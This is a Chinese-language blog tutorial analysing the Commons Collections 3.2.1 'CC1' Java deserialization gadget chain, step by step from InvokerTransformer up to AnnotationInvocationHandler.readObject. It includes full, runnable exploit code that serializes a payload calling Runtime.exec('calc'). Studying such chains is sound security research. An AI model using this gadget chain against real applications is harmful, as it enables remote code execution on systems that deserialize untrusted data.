Apache Commons Collection3.2.1反序列化分析(CC1)

Commons Collections简介

Commons Collections是Apache软件基金会的一个开源项目，它提供了一组可复用的数据结构和算法的实现，旨在扩展和增强Java集合框架，以便更好地满足不同类型应用的需求。该项目包含了多种不同类型的集合类、迭代器、队列、堆栈、映射、列表、集等数据结构实现，以及许多实用程序类和算法实现。它的代码质量较高，被广泛应用于Java应用程序开发中。

Commons Collections 3.1 版本的利用链衍生出多个版本的利用方式，但其核心部分是相同的，不同之处在于中间过程的构造。Ysoserial 反序列化利用工具中提供了几种利用方式：

本文分析Commons Collections3.2.1版本下的一条最好用的反序列化漏洞链，这条攻击链被称为CC1链。

此包的类包含下面两个，需要重点关注：

Map

Commons Collections在java.util.Map的基础上扩展了很多接口和类，比较有代表性的是BidiMap、MultiMap和LazyMap。跟Bag和Buffer类似，Commons Collections也提供了一个MapUtils。

所谓BidiMap，直译就是双向Map，可以通过key找到value，也可以通过value找到key，这在我们日常的代码-名称匹配的时候很方便：因为我们除了需要通过代码找到名称之外，往往也需要处理用户输入的名称，然后获取其代码。需要注意的是BidiMap当中不光key不能重复，value也不可以。

所谓MultiMap，就是说一个key不再是简单的指向一个对象，而是一组对象，add()和remove()的时候跟普通的Map无异，只是在get()时返回一个Collection，利用MultiMap，我们就可以很方便的往一个key上放数量不定的对象，也就实现了一对多。

所谓LazyMap，意思就是这个Map中的键/值对一开始并不存在，当被调用到时才创建。

https://www.iteye.com/blog/duohuoteng-1630329

Transformer

我们有时候需要将某个对象转换成另一个对象供另一组方法调用，而这两类对象的类型有可能并不是出于同一个继承体系的，或者说出了很基本的Object之外没有共同的父类，或者我们根本不关心他们是不是有其他继承关系，甚至就是同一个类的实例只是对我们而言无所谓，我们为了它能够被后续的调用者有意义的识别和处理，在这样的情形，我们就可以利用Transformer。除了基本的转型Transformer之外，Commons Collections还提供了Transformer链和带条件的Transformer，使得我们很方便的组装出有意义的转型逻辑。

https://blog.csdn.net/liliugen/article/details/83298363

环境搭建

由于存在漏洞的版本 commons-collections3.1-3.2.1

jdk 8u71之后已修复不可用

这里下载JDK-8u65

https://www.oracle.com/cn/java/technologies/javase/javase8-archive-downloads.html

下载安装，接下来就是配置到IDEA里面:

新建一个maven项目->项目JDK->添加JDK，找到我们刚安装的jdk-8u65

然后配置Maven依赖下载CommonsCollections3.2.1版本

commons-collections
commons-collections
3.2.1

由于我们分析时要涉及的jdk源码，所以要把jdk的源码也下载下来方便我们分析。

下载地址:https://hg.openjdk.org/jdk8u/jdk8u/jdk/rev/af660750b2f4

点击左下角的zip即可下载，然后解压。再进入到相应JDK的文件夹中，里面本来就有个src.zip的压缩包，将其解压，然后把刚刚下载的源码包(jdk-af660750b2f4.zip)中/src/share/classes下的sun文件夹拷贝到src文件夹中去。

打开IDEA，选择文件 —>项目结构 —>SDK —>源路径 —>把src文件夹添加到源路径下，保存即可。

然后我们去sun包里面看一下代码，不再显示.class

这样环境就配置完了。

反序列化分析

我们利用反序列化漏洞的方法一般是寻找到某个带有危险方法的类，然后溯源，看看哪个类中的方法有调用危险方法(有点像套娃，这个类中的某个方法调用了下个类中的某个方法，一步步套下去)，并且继承了序列化接口，然后再依次向上回溯，直到找到一个重写了readObject方法的类，并且符合条件，那么这个就是起始类，我们可以利用这个类一步步的调用到危险方法(这里以**“Runtime中的exec方法为例”**)，这就是大致的Java漏洞链流程。

源头

CC1链的源头就是Commons Collections库中的Tranformer接口，这个接口里面有个transform方法

然后就是寻找继承了这个接口的类 :ctrl+alt+b

可以看到有很多类，我们这里找到了有重写transform方法的InvokerTransformer类，并且可以看到它也继承了Serializable,很符合我们的要求。

InvokerTransformer.transform()

定位到InvokerTransformer的transform方法

//重写的transform方法
public Object transform(Object input) { //接收一个对象
 if (input == null) {
     return null;
 }
 try {
     Class cls = input.getClass();                               //可控的获取一个完整类的原型
     Method method = cls.getMethod(iMethodName, iParamTypes);    //可控的获取该类的某个特定方法
     return method.invoke(input, iArgs);                         //调用该类的方法
   //可以看到这里相当于是调用了我们熟悉的反射机制，来返回某个方法的利用值，这就是明显的利用点
  ...
  ...

可以看到，transform方法接受一个对象，不为空时，就会进行通过反射机制动态地调用对象的特定方法。

而iMethodName、iParamTypes、iArgs这几个参数都是通过构造函数控制的，并且为public：

//含参构造器，我们在外部调用类时需要用到
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) { //参数为方法名，所调用方法的参数类型，所调用方法的参数值
 super();
 iMethodName = methodName;
 iParamTypes = paramTypes;
 iArgs = args;
}

因为这些参数我们都可以控制，也就是说我们可以通过InvokerTransformer.transform()方法来调用任意类的任意方法，比如弹一个计算器：

测试代码1

/*      利用反射调用Runtime中的exec方法：
        Runtime r=Runtime.getRuntime();
        Class c=r.getClass();
        Method m=c.getMethod("exec", String.class);
        m.invoke(r,"calc");*/


Runtime r=Runtime.getRuntime();
InvokerTransformer invokerTransformer=new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}); //方法名为exec，参数类型为String，参数值为calc
invokerTransformer.transform(r);

#其实就是相当于通过transform方法来实现了我们最基本的反射过程。

可以看到，成功执行了命令，那么我们就找到了源头利用点了，接下来就是一步步回溯，寻找合适的子类，构造漏洞链，直到到达重写了readObject的类(没有的话就寄了)。

寻找某个类中的某个方法调用了transform方法，直接对这个方法右键查找用法(alt+F7)，可以看到有很多都调用了这个方法

TransformedMap.checkSetValue()

这里我们直接来到TransformedMap类下的checkSetValue方法

我们同样来看一下TransformedMap这个类的构造方法和checkSetValue方法

//构造方法
protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
    //接受三个参数，第一个为Map,我们可以传入HashMap,第二个和第三个就是Transformer我们需要的了，可控。
        super(map);
        this.keyTransformer = keyTransformer;
        this.valueTransformer = valueTransformer; //这里是可控的
    }


protected Object checkSetValue(Object value) { //接受一个对象类型的参数
    return valueTransformer.transform(value);
    //返回valueTransformer对应的transform方法
}

可以看到，我们只需要让valueTransformer等于我们之前的invokerTransformer对象，就又可以通过它来实现调用任意类的任意方法了。

但是这里有个问题，可以看到构造函数和方法都是protected权限的，也就是说只有在同一个包中才可以调用，不能外部调用去实例化，那么我们就需要找到内部实例化的工具，这里往上查找，可以找到一个public的静态方法decorate

TransformedMap.decorate()

很明显，该静态方法实例化了 TransformedMap对象，并且还是public方法，我们可以直接调用。

因此，我们可以通过TransformedMap.decorate()方法来调用任意类的任意方法，比如修改之前的代码，弹一个计算器：

测试代码2

//invokerTransformer就是上个payload的 invokerTransformer，没有变。
Runtime r=Runtime.getRuntime();
InvokerTransformer invokerTransformer=new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
//invokerTransformer.transform(r);

 HashMap map=new HashMap<>(); //这个直接实例化一个HashMap

 Map decorateMap=TransformedMap.decorate(map,null,invokerTransformer); 
//静态方法staic修饰，直接类名＋方法名调用
//把map当成参数传入，然后第二个参数我们用不着就赋空值null,第三个参数就是我们之前的invokerTransformer

Class transformedMapClass = TransformedMap.class;  //TransformedMap.class返回TransformedMap类的Class对象。我们可以使用这个Class对象来访问和操作TransformedMap类的相关信息。

Method checkSetValueMethod = transformedMapClass.getDeclaredMethod("checkSetValue", Object.class);  //使用transformedMapClass对象来获取TransformedMap类的checkSetValue方法。

checkSetValueMethod.setAccessible(true); //因为checkSetValue是peotected，所以需要使用 setAccessible(true)改变其作用域，这样即使私有的方法，也可以访问调用了

checkSetValueMethod.invoke(decorateMap,r); //invoke执行，Method.invoke()方法接受两个参数：1、调用方法的对象实例，2、要传递给方法的参数

接下来我们就是要找哪里调用了 decorate 方法，但是并没有找到合适的，所以我们把目光再放回之前的 checkSetValue 方法，去找哪里调用了该方法。

这里我们同样查找用法(Alt+F7)，发现只有一个地方调用了checkSetValue方法：AbstractInputCheckedMapDecorator类的setValue

AbstractInputCheckedMapDecorator->MapEntry.setValue()

现在我们关注 TransformedMap 父类 AbstractInputCheckedMapDecorator 内部的子类 MapEntry 中的setValue方法。

Entry代表的是Map中的一个键值对，而在Map中我们可以看到有setValue方法，我们在对Map进行遍历的时候可以调用setValue这个方法

不过上面MapEntry类实际上是重写了setValue方法，它继承了AbstractMapEntryDecorator这个类，这个类中存在setValue方法，

而这个类又引入了Map.Entry接口，所以我们只需要进行常用的Map遍历，就可以调用setValue方法,然后水到渠成地调用checkSetValue方法

测试代码3

Runtime r = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
//invokerTransformer.transform(r);

HashMap<Object, Object> map = new HashMap<>(); //这个直接实例化一个HashMap

map.put("key","value"); //给map一个键值对，方便遍历

Map<Object,Object> decorateMap=TransformedMap.decorate(map,null,invokerTransformer);

//用于遍历 decorateMap 中的每个 Entry 对象。在每次迭代中，将当前的 Entry 对象赋值给变量 entry。每个 Entry 对象表示一个键值对，其中包括键和对应的值。
for(Map.Entry entry:decorateMap.entrySet()) { //decorateMap 是一个 Map 对象，entrySet() 方法返回一个包含 Map 中键值对（Entry）的集合。
        entry.setValue(r);           //调用setValue方法，设置该 Entry 对象的值为 r
        }

decorateMap 之前的东西和之前都一样，不再讲述，区别是我们这里遍历了 decorateMap 来触发 setValue 。（注意 map.put(“key”,“value”) ，要不然map里面没东西，后面进不去for循环）

decorateMap 是 TransformedMap 类的，该类没有再实现 entrySet 方法，所以会调用父类的 entrySet 方法。故在for 循环时会进入如下方法：

首先进行判断，如果判断通过的话，就会返回一个 EntrySet 的实例，而我们的 isSetValueChecking() 是恒返回true的，所以也就无所谓，直接返回实例。 所以我们的 entry 在这里也是来自 AbstractInputCheckedMapDecorator 类的，所以后面才可以调到 setValue 方法。效果如下：

再来梳理一边这个过程:

首先，我们找到了TransformedMap这个类，我们想要调用其中的checkSetValue方法，但是这个类的构造器是peotected权限，只能类中访问，所以我们调用decorate方法来实例化这个类，在此之前我们先实例化了一个HashMap,并且调用了put方法给他赋了一个键值对，然后把这个map当成参数传入，实例化成了一个decorateMap对象，这个对象也是Map类型的，然后我们对这个对象进行遍历，在遍历过程中我们可以调用setValue方法，而恰好又遇到了一个重写了setValue的MapEntry副类，这个重写的方法刚好调用了checkSetValue方法，这样就形成了一个闭环

这里我们又找到了一个 setValue 方法，我们可以继续向上查找，看看有哪些方法里面调用了setValue并且可以被我们所利用 ，继续构造我们的链条。

这里看到了AnnotationInvocationHandler这个类，看到有个调用了setValue方法的readObject方法，很完美的实现了代替之前Map遍历功能

AnnotationInvocationHandler.readObject()

这里我们找到了 AnnotationInvocationHandler 中的 readObject 方法

先来解释一下这段代码：

//这是一个私有方法，用于反序列化对象。它接受一个 ObjectInputStream 类型的参数 s，用于读取对象的序列化数据。 
private void readObject(java.io.ObjectInputStream s)
        throws java.io.IOException, ClassNotFoundException {
        s.defaultReadObject();
    	//使用 ObjectInputStream 的 defaultReadObject() 方法从输入流中读取对象的默认数据。这是为了保证默认的反序列化行为。

        // Check to make sure that types have not evolved incompatibly
		//这是一个自定义的类型，用于表示注解类型。
        AnnotationType annotationType = null;
        try {
            annotationType = AnnotationType.getInstance(type);
        } catch(IllegalArgumentException e) {
            // Class is no longer an annotation type; time to punch out
            throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
        }

        Map<String, Class<?>> memberTypes = annotationType.memberTypes();

        // If there are annotation members without values, that
        // situation is handled by the invoke method.
    	//使用 for 循环遍历 memberValues.entrySet()，将每个键值对赋值给memberValue
        for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
            String name = memberValue.getKey();
            //根据成员名从 memberTypes 中获取对应的成员类型。
            Class<?> memberType = memberTypes.get(name);
            if (memberType != null) {  // i.e. member still exists
                //获取当前循环迭代的值（成员值）。
                Object value = memberValue.getValue();
                //判断成员值是否与成员类型兼容
                if (!(memberType.isInstance(value) ||
                      value instanceof ExceptionProxy)) {
                   //如果成员值不兼容，将会创建一个新的 AnnotationTypeMismatchExceptionProxy 对象，并将其设置为对应的成员值。 
                    memberValue.setValue(
                        new AnnotationTypeMismatchExceptionProxy(
                            value.getClass() + "[" + value + "]").setMember(
                                annotationType.members().get(name)));
                }
                
            }

可以看到，这里再调用setValue前面还要经过两个判断。

我们看一下 memberValue 是怎么传入的，这里定位到构造函数：

可以看到memberValue是可控的，我们只需要在构造时把 memberValue 传给他就行了，但是这个构造函数的修饰符是默认的，

我们知道在 Java 中，如果在构造函数的定义中没有指定修饰符（如 public、private、protected 或者默认的包级私有），那么该构造函数将具有默认的包级私有访问修饰符。默认的包级私有访问修饰符意味着该构造函数可以在同一个包中的其他类中访问和调用，但在不同包中的类中是不可见的。

也就是说这个类只能在sun.reflect.annotation这个包下被调用，我们要想在外部调用，需要用到反射来解决。

结合前面， 我们可以再次写出利用代码：

测试代码4

import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;

public class Cc1 {
    public static void main(String[] args) throws Exception {
        Runtime r = Runtime.getRuntime();
        InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
        //invokerTransformer.transform(r);

        HashMap<Object, Object> map = new HashMap<>(); //这个直接实例化一个HashMap
        map.put("key", "value"); //给map一个键值对，方便遍历

        Map<Object, Object> decorateMap = TransformedMap.decorate(map, null, invokerTransformer);

        //反射获取AnnotationInvocationHandler类
        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        //getDeclaredConstructor() 获取当前类的构造方法，包括private， protected和public。
        Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
        constructor.setAccessible(true); //改变其作用域
        Object obj = constructor.newInstance(Override.class, decorateMap); //创建该类的实例，这里第一个参数是注解的类原型，第二个就是我们之前的类

        serialize(obj);  //序列化
        unserialize("C://java/CC1.ser"); //反序列化
    }


    //定义序列化方法
    public static void serialize(Object object) throws Exception {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("C://java/CC1.ser"));
        oos.writeObject(object);
    }

    //定义反序列化方法
    public static void unserialize(String filename) throws Exception {
        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(filename));
        objectInputStream.readObject();
    }
}

运行，然而无事发生，并没有我们想象中的弹框：

问题1

调试看看，断点设在AnnotationInvocationHandler.readObject()之前说的两个判断处：

调试运行，

这里我们直接就跳到了最下面，很显然，if循环没有进去，这里判断memberType，但是我们的 memberType正好为空。

memberType 来自 memberTypes , memberTypes 来自 annotationType ， annotationType 来自 type （ annotationType = AnnotationType.getInstance(type); ）：

而 type 来自我们传入构造方法的参数

我们这里的要求传入的注解参数，是要求有成员变量的，并且成员变量要和 map 里面的 key 对的上。（ ! (memberType.isInstance(value) ）

但是我们之前使用的Override注解没有成员变量，所以不行

这里我们找到了SuppressWarnings注解，该注解有一个成员变量：

于是，修改我们的代码如下（其实就修改了两行）：

问题2

改完之后运行，结果报错：

找不到exec方法

runtime方法并没有被调用到：

同时，readObject 方法里面 setValue 的参数的实例居然是写死的，根本没用办法利用？？？

解决无法传入runtime的问题

ConstantTransformer类

该方法的构造函数会将传入的对象给到iConstant，该类的 transform 方法无论传入的什么对象都会返回iConstant 。 但是我们并没有办法将ConstantTransformer的实例传递给TransformedMap，或者说没有办法建立 ConstantTransformer和InvokerTransformer之间的包含关系。于是我们又来到了 ChainedTransformer 类。

ChainedTransformer类

ChainedTransformer 类的 transform 方法：

上述代码的意思是，如果给 ChainedTransformer 的属性 iTransformers 赋值为 ConstantTransformer 对象的话，则可以直接调用到ConstantTransformer的transform方法，如果赋值为 InvokerTransformer 对象的话，则可以直接调用到 InvokerTransformer 的 transform 方 法，则此时便有了一个关联关系，将 Runtime 对象通过 ConstantTransformer 进行赋值，然后就可以在构造链中得到 Runtime 对象了。

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;

public class Cc1 {
    public static void main(String[] args) throws Exception {
        //Runtime r = Runtime.getRuntime();
        //InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
        //invokerTransformer.transform(r);

        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class)  //Runtime没有serializable接口,不能被反序列化，我们需要用它的原型类class
        };
        ChainedTransformer chainedTransformer = new
                ChainedTransformer(transformers);

        HashMap<Object, Object> map = new HashMap<>(); //这个直接实例化一个HashMap
        map.put("value", "value"); //给map一个键值对，方便遍历

        Map<Object, Object> decorateMap = TransformedMap.decorate(map, null, chainedTransformer);

        //反射获取AnnotationInvocationHandler类
        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        //getDeclaredConstructor() 获取当前类的构造方法，包括private， protected和public。
        Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
        constructor.setAccessible(true); //改变其作用域
        Object obj = constructor.newInstance(SuppressWarnings.class, decorateMap); //创建该类的实例，这里第一个是参数是注解的类原型，第二个就是我们之前的类

        serialize(obj);  //序列化
        unserialize("C://Users/yokan/Desktop/code/java/CC1.ser"); //反序列化
    }


    //定义序列化方法
    public static void serialize(Object object) throws Exception {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("C://Users/yokan/Desktop/code/java/CC1.ser"));
        oos.writeObject(object);
    }

    //定义反序列化方法
    public static void unserialize(String filename) throws Exception {
        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(filename));
        objectInputStream.readObject();
    }
}

但是此时我们只穿入了 Runtime 对象，之前的 InvokerTransformer 没有传进来，不过这个事情也是简单的，因为 InvokerTransformer类 我们需要的方法也是 transform ,都是一个名字，所以他们是兼容的，再结合 ChainedTransformer 的 transform 的特点，上一次调用的对象是下次参数:

因此我们得到如下payload：

测试代码5

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;

public class Cc1 {
    public static void main(String[] args) throws Exception {
        //Runtime r = Runtime.getRuntime();
        //InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
        //invokerTransformer.transform(r);
		//创建一个Transformer数组用于储存InvokerTransformer的数据，便于遍历
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),//Runtime没有serializable接口,不能被反序列化，我们需要用它的原型类class
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}),
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        HashMap<Object, Object> map = new HashMap<>(); //这个直接实例化一个HashMap
        map.put("value", "value"); //给map一个键值对，方便遍历

        Map<Object, Object> decorateMap = TransformedMap.decorate(map, null, chainedTransformer);

        //反射获取AnnotationInvocationHandler类
        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        //getDeclaredConstructor() 获取当前类的构造方法，包括private， protected和public。
        Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
        constructor.setAccessible(true); //改变其作用域
        Object obj = constructor.newInstance(SuppressWarnings.class, decorateMap); //创建该类的实例，这里第一个是参数是注解的类原型，第二个就是我们之前的类

        serialize(obj);  //序列化
        unserialize("C://Users/yokan/Desktop/code/java/CC1.ser"); //反序列化
    }


    //定义序列化方法
    public static void serialize(Object object) throws Exception {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("C://Users/yokan/Desktop/code/java/CC1.ser"));
        oos.writeObject(object);
    }

    //定义反序列化方法
    public static void unserialize(String filename) throws Exception {
        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(filename));
        objectInputStream.readObject();
    }
}

最后成功弹出来计算器:

总结

经过上面的步骤，我们可以得到如下的调用链：

ObjectInputStream.readObject()
	AnnotationInvocationHandler.readObject()
		Map().setValue()
			TransformedMap.decorate()
				ChainedTransformer.transform()
					ConstantTransformer.transform()
						InvokerTransformer.transform()
							Method.invoke()
							Class.getMethod()
						InvokerTransformer.transform()
							Method.invoke()
							Runtime.getRuntime()
						InvokerTransformer.transform()
							Method.invoke()
							Runtime.exec()

参考

https://xz.aliyun.com/t/12669

https://www.secpulse.com/archives/188750.html